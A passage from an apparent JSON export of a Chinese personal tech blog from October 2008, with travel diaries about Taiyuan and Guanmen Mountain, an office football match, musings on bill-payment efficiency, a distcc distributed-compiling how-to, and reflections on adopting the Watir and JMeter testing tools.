check都很快。订票前我在网上查看了太原和沈阳的天气，都很好，想必飞机应该准时起飞。但是遗憾的是广播里传出飞机因空管监控无法按时起飞，起飞时间待定的消息。原来这架M90飞机是从西安始发的，经停太原而已。而西安的天气似乎不太好，这时才觉得自己的准备工作做得还是不够完美。无奈只能等了。还好时间不是太长，晚点一个小时后，飞机终于来了。\n这次我的座位被安排到了飞机的后部，以往坐飞机都坐在中前部，在尾部有些不适应，或者感觉飞机后部的危险性更高，在飞机后部可以很清楚的看到飞机起飞时整个飞机座舱在摇晃和扭曲，当然了是轻微的。M90引擎也在尾部，导致这个地方噪音特别大。\n到达沈阳时，整座城市已经是万家灯火了。\n","permalink":"https://tonybai.com/2008/10/31/leave-taiyuan/","summary":"\u003cp\u003e飞机缓缓的降落在沈阳桃仙机场，我完成了近10天的出差任务，终于回到家了。沈阳的温度和太原相比还是有些低的。坐大巴到马路湾，打车回家。家里还未给供暖，身体感觉有些凉，还好心还是温暖的，毕竟到家了，回家的感觉真好。\u003c/p\u003e","title":"离开太原"},{"content":"今天是周日，本打算在酒店休息一天，并把下周要进行的工作好好计划一下的。但是同事在耳边不断\u0026quot;扇风\u0026quot;让我也动了心。毕竟太原市内还有双塔寺和迎泽公园没有去逛呢，下周就要回沈阳了，估计没机会出去玩了。午饭后，我们出发了。\n双塔寺是人们的俗称，其真正的名字是\u0026quot;永祚寺\u0026quot;。在火车站广场做812或820花费1.5元都可以直达。目前是淡季，绝对的淡季，到永祚寺游览的游客屈指可数啊。寺院不大，如果走马观花的话，30分钟足矣。虽说景点不大，但是收费却不甚便宜，20元让我觉得不是十分值得。寺内只有一个收费的工作人员，没有其他僧人或道士。和其他的寺院一样，这里供奉着诸多佛和菩萨，对于信仰虔诚的人来说也许值得拜拜。寺院内本来种的满是牡丹的，但现在不是牡丹开花的季节，我们只能看满眼绿叶了。双塔不让游人攀爬，只能在外部拍拍照做个留念，另外双塔上的风铃在微风中发出的声音还是蛮悦耳的，以下是一些片供欣赏：\n永祚寺正门\n大雄殿、客堂和禅堂\n满园明代牡丹\n永祚寺碑廊\n永祚寺双塔之文峰塔\n永祚寺双塔之宣文塔\n永祚寺之双塔\n双塔上的风铃\n出了永祚寺，坐车回到火车站，在迎泽大街上倒车到青年路口下车，对面就是迎泽公园，公园是对外免费开放的，最大的感觉是和沈阳的南湖公园差不多。但是估计是最近翻修了，感觉挺新的。园里人很多，年轻人都是一对一对的、老年人围坐在石桌上打牌，门口还有一处歇息处有一群人在唱山西本地的戏曲，我们也听不懂。沿着迎泽湖转了一圈后我们就出来了，如果您带着小孩来旅游的话，还是可以多玩玩多看看的。\n迎泽公园\n昨天说过迎泽大街上的公共设施很具艺术性，这里也拍下一些：\n太原迎泽大街上的公共设施\n今天游览以公交车为主，总体感觉太原老百姓生活负担有些重，公交车很大一部分车费都是1.5元，1元的有，不是很多。我猜想也许是太原财政补贴少的缘故吧。如果这么说，北京老百姓最幸福了，乘一次才0.4元。\n","permalink":"https://tonybai.com/2008/10/26/the-tour-of-two-tower-temple-and-yingze-park/","summary":"\u003cp\u003e今天是周日，本打算在酒店休息一天，并把下周要进行的工作好好计划一下的。但是同事在耳边不断\u0026quot;扇风\u0026quot;让我也动了心。毕竟太原市内还有双塔寺和迎泽公园没有去逛呢，下周就要回沈阳了，估计没机会出去玩了。午饭后，我们出发了。\u003c/p\u003e","title":"游永祚寺和迎泽公园"},{"content":"初到晋地，又逢周末；和同事商量好拿出一天时间放松。我个人每到一个新的地方一般都是要去这个省的博物馆看看的，所以山西省博物馆就成为了必选目标。博物馆一般很短时间就可以逛完，我们还要选择另外一个景点游览。在山西太原，几乎所有人都推荐去晋祠。到山西太原不到晋祠就好比到首都北京不到长城一样。而且据说晋祠这个景点还是不错的，这样我们就确定了今天的行程：晋祠+山西省博物院。\n由于考虑到这两个景点游览时间都不是很长，所以早上没有起得太早，作息时间和平时一样。8点半去餐厅吃饭，9点多钟出酒店大门。去之前我们已经做了一些\u0026quot;作业\u0026quot;，知道在火车站是有直达晋祠的公交车的。我们没有选择打车去火车站，而是选择了做公交车，我感觉坐公交车更能帮助了解当地的\u0026rsquo;民情、地理和文化\u0026rsquo;。我们住在桃园北路，门口就有6路公交车，直达火车站。此时已经过了\u0026rsquo;早高峰\u0026rsquo;，车上人不多，一路很顺利。太原迎泽大街是太原市的门面工程，让我很感兴趣的是街两旁的公交车站、电话亭和垃圾桶，太原的公交车站是我见到过的最具艺术味道的车站了，颇具中式特色。\n到火车站北侧的公交车站坐804路直达晋祠，票价2.5元。车上都是座位，估计坐这趟车的人基本都是远程的。车沿着迎泽大街向西走，穿过迎泽大桥后，向南转，进入晋祠路，就这样一直沿着晋祠路向南开，大约1个小时左右就到了。下车后，还得走一段时间才能到晋祠公园门口。\n晋祠被晋祠公园包围着，晋祠公园规模不小，但不收费。但是你要进入晋祠就要交费了。晋祠是国家AAAA级风景名胜区，门票去年已经涨到了70元，学生半价。说实在话挺贵的。\n说多了，我们继续从晋祠公园说。不得不说，政府在晋祠公园这块还是投入了不少费用的，总体来说，晋祠公园修建的很漂亮。正门的匾额上的\u0026quot;晋祠圣地\u0026quot;让我们一目了然，知道这就是晋祠了，晋祠到了。再往里走有很多现代人造景观，听说是为了纪念晋祠多少周年而建的，见下面的图片：\n晋祠公园\n晋祠公园内景观\n后人造的景观自然魅力不及里面的晋祠，所以快步加鞭沿着公园中心线向前走，耐心的走上一会儿，晋祠的正门就映入眼帘了。\n晋祠正门-1\n晋祠正门-2\n原以为晋祠与唐朝开国的两位皇帝李渊和李世民有关，买票进入正门后看到晋祠的介绍后才知道自己的无知，原来晋祠是为了纪念晋国开国诸侯唐叔虞而建。晋祠并不是特别大，如果不是特别仔细的看的话，半个多小时就能游览完。还是沿着中心线向里走，我们首先能看到就是一个叫\u0026quot;水镜台\u0026quot;的建筑，据导游说：这里就是一个戏台子。其背面是演员们的后台，供化妆打扮和候场，前面则是演出的台子。\n水镜台多角度图\n沿着水镜台向前是一座小桥，桥上有四樽铁像，其中三樽已经腐蚀破旧，唯有一樽千年不朽，同时这樽铁像也是游客们争相拍照留念的地方，据导游说用手摸摸这樽铁像的肚子和手是会带来好运和平安的。\n再继续向前就是对越坊和鱼沼飞梁了。其中鱼沼飞梁号称是中国最早的立交桥了。其实我感觉没有那么夸张。反正我是没看出什么让我惊异之处。\n鱼沼飞梁与对越坊\n再前面就是晋祠的主殿-圣母殿了。据说殿中供奉的圣母是姜子牙的干女儿，唐叔虞的母亲。由于文物保护的原因，无法接近观看。我对一般景点中供奉的圣人向来尊敬，一般不会留影的。圣母殿外有八个盘龙柱子很有特色，盘龙造型独特，且据说都是根雕制作的。\n圣母殿\n圣母殿前八个盘龙根雕全图-1\n圣母殿前八个盘龙根雕全图-2\n圣母殿左手侧是一棵树龄超过3000年的柏树，据说是周朝时种下的，遂称为\u0026quot;周柏\u0026quot;，另外周柏树干上有一处凹陷，以前被游客触摸多了，有些发亮，也就被称为\u0026quot;龙眼\u0026quot;了。\n晋祠周柏与周柏龙眼\n圣母殿的右手侧则是本祠中一著名的景点-难老泉，但是由于连年干旱，地下水下降，难老泉已经不喷涌了，景区在泉下加了一个水泵，运转起来给人一种还在喷涌的感觉。难老泉还有一段水母的传说，这里不细说了。\n晋祠难老泉\n以上就是晋祠的主要景点了，走完中轴线后，可以自己在两侧随意逛逛。王氏发源地和一座舍利生生塔还是值得看看的，另外还有董寿平美术展览值得好好欣赏，特别是董大师的画的梅花和黄山奇峰，很传神。\n舍利生生塔\n出了晋祠公园，沿原路返回做公交车，没等到804，赶上了308，后来证明这是错误的选择。308走的路都是极其颠簸的镇村公路，而且灰尘很大，这车做的很不舒服。在迎泽桥西下车，继续沿着河滨路北走，一座很具特色的现代化博物馆就会在你的左手边出现，这就是山西省博物院了。我去过一些博物馆，山西博物院从规模、设施和外观来看绝对是数一数二的了。\n山西省博物院及内部穹顶\n我们到博物院的时间已经是下午3点了。到门口的取票处取票，博物院免费对公众开放，每天接待4000人。还好今天人少，我们还可以参观。博物院开馆时间一直到下午17点，16点就不再允许入馆了。展览馆管理的也很严格，有严格的安检措施。大包也是需要寄存的。博物院共4层。一层是临时展区，目前在举办类似生物文明进化的展览。二楼到四楼展览的就是晋地的历史文化了，入馆者大可从二楼到四楼逐层游览。由于时间紧迫，感觉我们有点走马观花，不够细致，大致了解了一下山西这边的历史变迁和风土人情。\n山西省博物院部分展品\n闭馆时，我们还有些许展品没有逛完呢，没办法只好遵守纪律了。出了博物馆大门，感觉很累，打车回酒店。一天的行程还算充实，自己也对山西有了更深入的了解^_^。\n","permalink":"https://tonybai.com/2008/10/25/the-tour-of-jin-memorial-hall-of-taiyuan/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2008/10/22/first-trip-to-shanxi/\"\u003e初到晋地\u003c/a\u003e，又逢周末；和同事商量好拿出一天时间放松。我个人每到一个新的地方一般都是要去这个省的博物馆看看的，所以山西省博物馆就成为了必选目标。博物馆一般很短时间就可以逛完，我们还要选择另外一个景点游览。在山西太原，几乎所有人都推荐去晋祠。到山西太原不到晋祠就好比到首都北京不到长城一样。而且据说晋祠这个景点还是不错的，这样我们就确定了今天的行程：晋祠+山西省博物院。\u003c/p\u003e\n\u003cp\u003e由于考虑到这两个景点游览时间都不是很长，所以早上没有起得太早，作息时间和平时一样。8点半去餐厅吃饭，9点多钟出酒店大门。去之前我们已经做了一些\u0026quot;作业\u0026quot;，知道在火车站是有直达晋祠的公交车的。我们没有选择打车去火车站，而是选择了做公交车，我感觉坐公交车更能帮助了解当地的\u0026rsquo;民情、地理和文化\u0026rsquo;。我们住在桃园北路，门口就有6路公交车，直达火车站。此时已经过了\u0026rsquo;早高峰\u0026rsquo;，车上人不多，一路很顺利。太原迎泽大街是太原市的门面工程，让我很感兴趣的是街两旁的公交车站、电话亭和垃圾桶，太原的公交车站是我见到过的最具艺术味道的车站了，颇具中式特色。\u003c/p\u003e","title":"太原晋祠游记"},{"content":"因工作原因，和同事到山西出差，目的地太原。从沈阳飞往太原的航班不多，出发时间也不甚好，不是太早就是太晚，机型多为老旧的波音的M90，从这方面也可以看出太原这座城市在中国的省会城市中的地位。早上六点，送机场的司机已经在我家小区门口等候了。由于还要同时接几个其他部门的同事，车在市内转悠了大约1个半小时，到机场的时候，离我们的飞机起飞还有不到40分钟了。按照常理这个时间比较紧促，不过还不至于赶不上飞机。\n经过严格的安检，我们进入候机厅，马不停蹄的到登机口，登机口已经没乘客了。我们顺利进入通道，下楼梯登上机场的摆渡车。又等了5分钟，最后一名乘客跑了下来。摆渡车在M90前停下，M90的外表显得很老旧，引擎在飞机尾部，心里有些不安全感，但也没有办法，登机。机上多数人已经坐定，就等我们最后这一批了，行李放好，坐到座位上，系好安全带，稳定一下心情，准备起飞。果然没过多久飞机就飞上了蓝天。\n好久没坐飞机了，再加之气流原因，身体不是很舒服。好在飞行距离不甚远，在和同事的聊天间，太原就在脚下了。出发前和同事了解过了，太原机场打车一般都是讲价的，司机一般不打表。如果要打表的出租车，可以到二楼的到达厅碰碰运气。今天我们运气就不错，碰到了一个可以打表的司机，一路上这个山西司机给我们讲了很多关于山西的事情-旅游景点、煤老板、矿难、贫富差距，有官方的消息也有民间的顺口溜。一路上我也看到了太原的街景，第一印象是太原并不很发达，是我去过的省会城市里最不令我兴奋的城市了。到达目的地，一看表才32元，哇噻，很便宜啊。即使是两个人做机场巴士每人还需要15元，打车已经基本和这个价格持平了，而且直达目的地，那位司机很后悔的和我们说：打表亏了，如果议价，起码要你们70。\n目的酒店位于五一广场东北侧的金广快捷-五一路店，同样是同事推荐的。价格中等，但是服务水平和以前住过的如家快捷还是有差距的，特别是细节之处。网络速度还算快，就是有瞬断的现象，导致工作起来很不顺利。最令我郁闷的还是宾馆内部没有餐厅，不能在宾馆吃午晚两餐，有些时候还得为找一个合适的饭店而闹心。不舒服就换，在网上搜索了一下周围的酒店，发现在更接近市中心的位置有家如家快捷，公司协议价还是很便宜的，虽然比金广快捷贵一些，但是我们还是决定搬过去。明天就搬。\n今天太原开始降温了，下飞机后就觉得很凉，中午开始下雨，听天气预报报道：明天最低气温已经到了0度，很冷。中午我们出去找吃的地方。山西最出名的要属其面食了，抻面、拉面等等各种面。所以这第一餐一定要吃面。在铜锣湾购物广场走了一圈，我们找了一家老字号面馆走了进去，5元一碗的猪肉面再加上特色卤豆干让我吃的意犹未尽，味道的确不错。晚餐，我们就近在酒店临近的一家手擀面馆解决的。好久不吃手擀面了，这让我想起了小时候，姥姥和姥爷给我做的手擀面。\n今天的任务就是休整，明天开始工作，争取把工作提前完成，周末好全身心的就近游走晋地^_^。\n","permalink":"https://tonybai.com/2008/10/22/first-trip-to-shanxi/","summary":"\u003cp\u003e因工作原因，和同事到山西出差，目的地太原。从沈阳飞往太原的航班不多，出发时间也不甚好，不是太早就是太晚，机型多为老旧的波音的M90，从这方面也可以看出太原这座城市在中国的省会城市中的地位。早上六点，送机场的司机已经在我家小区门口等候了。由于还要同时接几个其他部门的同事，车在市内转悠了大约1个半小时，到机场的时候，离我们的飞机起飞还有不到40分钟了。按照常理这个时间比较紧促，不过还不至于赶不上飞机。\u003c/p\u003e","title":"初到山西"},{"content":"十一之前就计划组织一次项目组活动，由于各种原因没能成行。十一之后，我的想法和我们组内的\u0026quot;CEO-Chief Entertainment Officer”不谋而合，即入冬之前出去玩一次。深秋季节，省内短程旅游是我们首选。而这个季节的最佳目的地就是有着\u0026quot;东北小黄山\u0026quot;之称的关门山。北京有香山，东北有关门山，我们此行就是为了那红彤彤的枫叶，听起来很美哦。经过报名，统计等流程，我们最终筛选出9位登山“勇士+巾帼”，人数不多，但事后证明：这是很正确的，对于爬山活动而言，人多反倒会带来很多不便的。\n“CEO”给我们选择的是沈阳客运集团的天天旅行社，估计是一家以搞一日游、两日游为主的旅行社，否则为什么叫“天天”呢，纯属瞎猜，呵呵。早上6点在铁西广场首发，我5点就起来，收拾行装，洗漱，吃早餐。出门打车，出租车司机问我去哪？我说去铁西广场。他说去旅游？我说嗯。他说去关门山？我很是惊讶，他怎么知道，他解释到：这个点儿到广场的，都是去关门山的。哦，我这才醒悟。5分钟赶到，哇，好多车啊。可哪辆是我要上的车呢？问了几个导游都说不是。还好临出门前打开了本本，记下了那个导游的电话。电话过去，发现站在面前的一个胖胖的男性导游在与我通话，找到了。排队上车。车陆续到市内的其他几个点接游客。折腾一个小时后，我们的车来到了沈丹高速的路口，开始了我们的关门山之旅。\n胖导游姓马，带着一副眼镜，与我印象中传统的导游不甚相同(传统导游都是漂亮小姑娘^_^)。导游很健谈，一路上给我们讲了一段三国评书，又讲了一段关于四大美女的轶事，车上好不热闹。大约2个小时，就到了本溪关门山景区，景区离著名的本溪水洞很近。不知怎么的那天人很多。停车场上停满了大大小小的车辆，行人一队队的从停车场向景区入口走去。在车上导游就给我们介绍过了，据说关门山最高峰海拔1234米，如果真是想爬山的话，那可要付出些汗水了。导游给我们建议的路线是到转心湖后，回心转意往回走。\n在导游去买门票的时候，我们一边看着景区导游图，一边确定着我们的路线。\n关门山景区导游全图\n关门山入口标志\n门口“迎客枫”\n关门山是国家四星级风景区，但是却没有一个宏伟的正门，遗憾。按照导游的指点，我们进门后，坐摆渡车直达景区的那一端，然后走到转心湖。等了30多分钟后我们才挤上摆渡车，在山路山转来转去后，车将我们扔到了一处位置，下车观察了半天，发现这并不是景区的另一端，而是景区的中心位置-龙门峡附近。无奈，摆渡车都不理我们直接开走了，想继续乘车门都没有。我们只能调整我们的路线，从龙门峡景区开始我们的旅程。\n我们避开大路，走山旁小路，因为这里才有风景。\n枯水期间的小溪\n沿着小路一路走来，我们看到了夫妻树和一般景区都会有的许愿树，算是热身吧。\n夫妻树\n许愿树\n继续前行，前面传来落水声，在盘山路的右侧显现出一股小瀑布，其右侧石壁上赫然刻着四个大字-晶帘瀑布。显然遇到了水，大家都很兴奋，都争先在这里留影，道很窄，还是很有危险性的。我是发现了，越是在这种情况下冲到最前面的往往都是女士。\n晶帘瀑布\n在瀑布处足足逗留了半个多小时，继续前行，前方依旧有很多人驻足，原来只为三个刻在石壁上的打字-龙门峡。我们中的女同事见此情形都争相要爬到石头上，和“龙门峡”三个字合影。我只能拿着相机满足她们的需求。\n龙门峡\n走过龙门峡，天近中午，前面一处小潭水映入眼帘，看着景区的标牌，原来这就是导游所说的“转心湖”啊，其规模和\u0026quot;湖\u0026quot;比起来差的好远啊。\n转心湖\n还好湖边比较安静，很多人也都在这里休息，我们也计划休整一下，补充一下体力再走。大家遂在湖边围上一个圈圈，就地一坐，打开包包，拿出各式各样的吃食，开始补充能量。大家说说笑笑，回顾着刚才的景点，天南地北的胡乱侃着。不到半个小时，垃圾袋已经满满了，大家吃完后，在湖边转悠，看看湖里的小鱼，湖水很清澈。之所以叫转心湖，是因为湖水源自山上，进入湖中流转一周后，继续向下游渗下。\n正午12点，我们继续上路。对比着路标和入门时的那张导游图，我们决定继续前行，到达\u0026quot;枫之海\u0026quot;后下行到“五彩湖\u0026quot;回到公路，坐车到正门。大家达成一致后，背起行囊开始了后半程的路。走了一阵后，发现脚下的路坡度越来越大，明显有了上升的趋势。不断的对面会走下来很多游客，从他们口中得知，前方似乎还有很长很长的路途，而且需要爬山，艰难的爬山。这时我们已经无路可退，唯有向前。导游规定下午三点在停车场集合返程，我们的时间不多了。\n走了一阵大家就已经满头大汗了，山路很窄，两旁没有护栏，越到高处恐惧感越强，特别是对于女士们。渐渐的她们的体力下降了，男士们也就不得不搀扶她们前行。走一段歇一段，山顶风不小，且很凉。每当停留歇息时，都有一丝冷意。走路时，我也悟到一点，那就是：不要只顾着向前走，时不时回眸看看，也许你会发现很美丽的景色。\n登山路漫漫\n灰蒙蒙的天\n近山顶美景\n","permalink":"https://tonybai.com/2008/10/20/a-tour-of-guanmen-mountain-in-autumn/","summary":"\u003cp\u003e十一之前就计划组织一次项目组活动，由于各种原因没能成行。十一之后，我的想法和我们组内的\u0026quot;CEO-Chief Entertainment Officer”不谋而合，即入冬之前出去玩一次。深秋季节，省内短程旅游是我们首选。而这个季节的最佳目的地就是有着\u0026quot;东北小黄山\u0026quot;之称的关门山。北京有香山，东北有关门山，我们此行就是为了那红彤彤的枫叶，听起来很美哦。经过报名，统计等流程，我们最终筛选出9位登山“勇士+巾帼”，人数不多，但事后证明：这是很正确的，对于爬山活动而言，人多反倒会带来很多不便的。\u003c/p\u003e","title":"秋游关门山"},{"content":"在巴西举行的五人制室内世界杯足球赛激战正酣，我们部门内部同事也开始\u0026quot;蠢蠢欲动\u0026quot;了(真实情况是：大家纯粹是为了锻炼身体，活跃气氛^_^)，叫嚣着组织内部对抗赛-开发部内部两大项目组对抗，而且计划将对抗赛作为部门内部活动长期举办下去。对抗赛给了我重返足球场的机会啊，这不今天是就是系列对抗赛首场比赛的比赛日。\n在不知情的情况下，我就被组织者任命为了其中一个队的队长，无奈硬着头皮干吧。自从大三的时候一次意外扭了脚踝后，我基本上就远离足球了。刚刚工作的那个时候还和dreamhead他们一起从事一些兵乓球、网球、毽球的小运动量体育活动，06年之后，事务繁忙，加之不在软件园单身公寓居住了，就再也不曾有过什么运动了，甚至连跑步都被省略了。目前身体倒也没有过多发福，不过各处\u0026quot;零件\u0026quot;的机能肯定是大不如以前了，最起码肺活量和肌肉的弹性已经大大下降了。能在场上坚持几分钟我自己都不敢确定。还好上个月事业部足球联赛中我们队有几个人是主力，这回轮到我们内部比赛了，事业部主力自然也成为了我们组的主力。不过主力毕竟数量太少，再加之这次对抗赛目的是锻炼身体，理论上所有人都要上场的，所以我们还是尽量宣传和号召大家上场。\n公司的篮球和足球场地还是蛮充足的，而且设施也都不错，虽然只是假草草坪；中午12点开球，我提前和同事去食堂吃饭，吃完饭到达场地时恰好12点，比赛开始。由于比赛开始太早，我们队的人还没来全，无奈我只能作为首发，和其他几位主力一起战斗。\n大家都是业余水准，比赛场面肯定不如巴萨vs.皇马^_^。不过对于我这个久疏战阵的人来说，体力透支的很快。这里透露一下：我对本人的踢球水平的评价是：拼抢积极，门前意识好(当年在高中、大学的时候射门的感觉就超好)，体力巨差。基于这样的自我认识，我的个人战术就是在有限的体力充沛时间内在场上发挥最高水平，累了就下场歇息，我们的规则是不限制换人次数^_^。功夫不负有心人，通过良好的意识和不断的拼抢获得了几次很好的机会，无奈脚感太差，没能把握住。就在体力走下坡路的时候，一个类单刀球让我把握住了，一个推射正中门下框，弹出后，队友补射得分。有所得后，遂下场休息。\n随着时间的深入，不断的有我们组的新鲜力量赶到球场，我们也控制了整个比赛，从落后一球，到6球领先，这么大的差距是我们事先不曾想到的。下半场我第三次上场充当守门员，从来没做过守门员，心里不是很自信，但是化解了几个必进之球后，渐渐找到了自信，起码在我守门的不到10分钟内，没有丢球，hoho\n通过一场比赛，我们发掘出组内诸多可以上场比赛具有一定足球功底的队员，这样在下场比赛时，我们安排人员和战术就游刃有余了。\n锻炼了身体，发掘了人员，这是重回足球场后的最大收获。\n","permalink":"https://tonybai.com/2008/10/16/return-back-to-football-field/","summary":"\u003cp\u003e在巴西举行的五人制室内世界杯足球赛激战正酣，我们部门内部同事也开始\u0026quot;蠢蠢欲动\u0026quot;了(真实情况是：大家纯粹是为了锻炼身体，活跃气氛^_^)，叫嚣着组织内部对抗赛-开发部内部两大项目组对抗，而且计划将对抗赛作为部门内部活动长期举办下去。对抗赛给了我重返足球场的机会啊，这不今天是就是系列对抗赛首场比赛的比赛日。\u003c/p\u003e","title":"重返足球场"},{"content":"今天身体不适，已经和领导打了招呼，先去医院看病，然后在家里SOHO。\n从医院回来，顺便路过银行把今年冬天的采暖费交上。今年煤和石油的价格都狂涨，不过目前采暖费还没有上调，据说沈阳市政府正在起草方案，准备听证，涨估计是肯定的了，大家最关心的还是涨多少的问题。涨得太多，很多老百姓肯定是承受不了的。我个人认为整个中国只有北方有采暖，这笔钱就应该是政府全部解决掉的，不应该由老百姓承担。而现状是政府部门的职员或者一些垄断性质的国有企业的员工，采暖费都是全额报销的，他们根本不在乎涨多少，涨十倍也与他们无关。苦的就是那些底层的老百姓了，他们收入低，一年的采暖费需要攒几个月的工资才能凑足，显然采暖费如果涨的太多，就会严重影响他们的生活质量的，我想政府是应该考虑到这些的。\n银行只有一个综合事务窗口可以用来缴纳采暖费，平时这个窗口就是退休人员领取工资的。我去的也不算晚，但是窗口前已经排了很长的队伍，多为中老年人。看到这情形，知道必然要耐心的等下去了。果不其然，等了将近一个小时，在走出银行门口的时候，不由得感慨一下国内办事效率的低下啊。\n采暖公司缴费没有网络缴费接口、没有电话缴费接口，只能到采暖公司的办事大厅或指定银行网点去交，这对于我这个习惯了网络支付的人来说，事情本身就意味着低效。在国家大力推行信息化建设的今天，采暖公司或者说热力公司显然是落后了。与此类似的还有自来水缴费、宽带缴费都不能网络化，很郁闷。还好电费、手机费和固话的费用是可以网络上搞定的。曾经和同事探讨过为什么自来水公司不开通网络缴费，是技术原因么？我们一致认为：不是。我们的看法是：如果开通了网络缴费，那些天天挨门挨户查水表的人就要失业了，国情不允许这么做。没办法只好麻烦我们到水站排队缴费了，加之中国人口众多这个国情，效率难免底下。\n现在国内互联网也算是很普及了，但多限于年轻人，中老年人由于没有受过相关的教育和学习，无法跟着时代进步的步伐了。无奈只能到银行、供电局、移动营业厅等排队缴费了。这样一分析，不断加强国民的再教育，促进国民整体素质的提升也能推动整个社会效率的提升，你说不是么？\n最近一直在努力提升个人的工作效率、办事效率，所以对\u0026quot;效率\u0026quot;特别敏感，一遇到效率低下的事情，就会开动大脑去想，还好通过对上面现象的思考，觉得社会整体效率低下这个问题还是有解的，我们需要的只是时间而已。\n","permalink":"https://tonybai.com/2008/10/15/national-quality-and-information-and-efficiency/","summary":"\u003cp\u003e今天身体不适，已经和领导打了招呼，先去医院看病，然后在家里SOHO。\u003c/p\u003e\n\u003cp\u003e从医院回来，顺便路过银行把今年冬天的采暖费交上。今年煤和石油的价格都狂涨，不过目前采暖费还没有上调，据说沈阳市政府正在起草方案，准备听证，涨估计是肯定的了，大家最关心的还是涨多少的问题。涨得太多，很多老百姓肯定是承受不了的。我个人认为整个中国只有北方有采暖，这笔钱就应该是政府全部解决掉的，不应该由老百姓承担。而现状是政府部门的职员或者一些垄断性质的国有企业的员工，采暖费都是全额报销的，他们根本不在乎涨多少，涨十倍也与他们无关。苦的就是那些底层的老百姓了，他们收入低，一年的采暖费需要攒几个月的工资才能凑足，显然采暖费如果涨的太多，就会严重影响他们的生活质量的，我想政府是应该考虑到这些的。\u003c/p\u003e","title":"国民素质·信息化·效率"},{"content":"随着工程代码量的增加，往往完整的编译一次Proj消耗的时间可能足够你喝两杯咖啡了，我现在build一次我所在proj的代码需要5分多钟，这是很痛苦的，颇让人懊恼的。为了解决这个工作中的别扭事儿，我在网上搜寻了一番，找到了distcc这个分布式编译工具。\n先看看distcc能帮助我节省多少时间吧。我在公司的一台Sun SPARC Solaris9主机下对整个项目源代码按照以前的编译方式进行了一次build，这次build用了5分多钟；同样我使用distcc编译(安装了两个节点，都是Sun SPARC Solaris9主机)，居然只用了1分多钟，试想如何有更多的服务器作为distcc的守候进程主机节点的话，势必编译性能还会有提升。\n有了\u0026quot;惊人\u0026quot;结果后，我们来看看distcc的原理，distcc本身是gcc的一个wrapper，也可用作本地编译，但是更多的是其分布式编译的强大功能，简单来说：就是将gcc的编译任务分布到各个其他主机上去，然后再传回来整合。它提高的是gcc -c阶段的速度，链接阶段的速度由于肯定要在本地实施，所以distcc无能为力。另外distcc推荐分布的不同主机上安装的编译器版本最好要一致，否则可能会有意想不到的错误。\ndistcc的安装和使用方法甚是简单，我安装的是distcc-2.13-sol9-sparc-local，直接在root下pkgadd即可。然后在各个distcc节点启动后台守候进程：distccd –daemon –allow x.x.x.x/16，以普通用户启动即可。\n客户端使用方法：\n1、在自己的用户下，添加环境变量(如果你用的是C shell)：setenv DISTCC_HOSTS \u0026rsquo;localhost x.x.x.x\u0026rsquo;，代表本机和x.x.x.x上安装并启动了distccd\n2、将你的makefile 中的CC=gcc改为CC=distcc gcc\n3、make即可 。同样你还可以在make的-j参数选项，如make -j 12，这样在单机上进行多任务并行编译，使速度更快。\n4、如果你想观察各节点上distcc的工作状态，可使用distccmon-text 2 命令查看distcc在各台主机上的任务快照。参数2代表：每隔2秒刷新一次。\nDistcc理论上是可以部署在不同平台上辅助进行分布式编译的，但是在异构平台上分布需要一段时间设置和调试，我推荐还是尽量部署在同一类型平台上吧。有了distcc，我们的服务器的计算能力得到了充分的发挥，个人工作效率也会有所提高的，不知道长此下去喝咖啡的机会会不会被剥夺了:)\n","permalink":"https://tonybai.com/2008/10/14/distributed-compiling-make-you-work-more-effectivly/","summary":"\u003cp\u003e随着工程代码量的增加，往往完整的编译一次Proj消耗的时间可能足够你喝两杯咖啡了，我现在build一次我所在proj的代码需要5分多钟，这是很痛苦的，颇让人懊恼的。为了解决这个工作中的别扭事儿，我在网上搜寻了一番，找到了\u003ca href=\"http://distcc.samba.org/\"\u003edistcc\u003c/a\u003e这个分布式编译工具。\u003c/p\u003e","title":"分布式编译让你的工作更高效"},{"content":"昨天是周五，按照工作计划，上午和组内同事做个人阶段性目标沟通。在与一位曾经在国外公司里做过项目的同事沟通时，他给我讲了这么一个故事：某一年的圣诞节前夕(圣诞节在西方人眼里是地位最高的节日了吧)他所在的那家公司的经理预感到圣诞节那天他们公司的网站的访问量激增的可能性会很大，为了保证网站在那圣诞节那天能\u0026quot;挺住\u0026quot;，他要求手下的人对网站进行一次压力测试，并决定让手下用jmeter来做这件事情。手下人没有异议，由于没有用过jmeter，遂大家都忙碌起来，预研的、准备测试环境的等等。一切就绪后，正准备开始测试了，这时那位经理突然召集手下人说jmeter不能满足他们的压力测试要求，大家都惊愕之，并马上提出了反驳，因为jmeter工具是这位领导提出要使用的，现在又不用了，圣诞节已经迫在眉睫，更换压力测试工具肯定不能完成这个任务了。这位经理无奈妥协，结果是：通过jmeter压力测试后优化的网站顺利了通过了”圣诞节的考验“，不过大家都觉得这个过程很别扭。\n上面的那位经理显然是犯错误了，我看到的起码有二：第一，没有经过对jmeter细致的评估，就断言要使用jmeter做为压力测试工具；第二，其领导意志的不坚定，险些使任务失败，并最终造成了公司成员的不满情绪，影响了整个团队，得不偿失。\n这个故事也让我触动很大。记得在上一个项目的准备布局阶段，我当时很想在项目组内推行自动化页面测试，提高开发人员和测试人员的测试效率，到目前为止我也觉得当初我的想法是没有错的，但是问题就在于执行过程出了问题。我对web页面开发是外行，WEB页面开发过程会遇到哪些问题，我基本没有太多概念。当时部门内部正巧有一个服务于外国公司的项目使用了Watir-一款用Ruby实现的轻量级开源Web 自动化测试框架，很袖珍，上手简单。我就安排了一位同事专门花时间去研究了一下如何使用这个工具，并在组内做了一个Share。大家对这个工具提出了一些自己的意见和建议，并基本上认同了它。由于是试点，所以先安排放到测试组做自动化页面回归测试，由专门的测试人员负责编写测试脚本。就这样完成两轮测试后，收到一份文档-关于Watir在自动化回归测试过程的问题报告，里面列出了诸多问题，比如：自动测试过程中如遇到弹出对话框的情况，自动化过程被中断，需人为干预；测试对数据依赖很大，当数据量很大，需要多页显示时，没有找到很好的办法；页面元素变动较为频繁，用例脚本需不断更新，工作量较大；Watir只支持IE，对其他浏览器支持不好；Watir录制功能不甚完善等等。这些问题是我始料未及的，恰逢那个时候，我又发现了一个更为强大的页面自动化测试工具-Selenium，我个人也就渐渐的对Watir失去了早先的热情，Watir在我的不坚定的意志下没有收获很好的结果。现在看来，如果当时我持续关注、持续推进Watir的使用，积极解决发现的问题，也许Watir就会成为大家日常不可缺少的一个工具而存活下来，显然我没有这么做，我想和上面的故事一样，或多或少这也给组内的同事带来了一些负面的影响。\n与此类似的是部门曾经多次考虑过使用C++来重新设计和实现我们的产品，众所周知C++开发效率高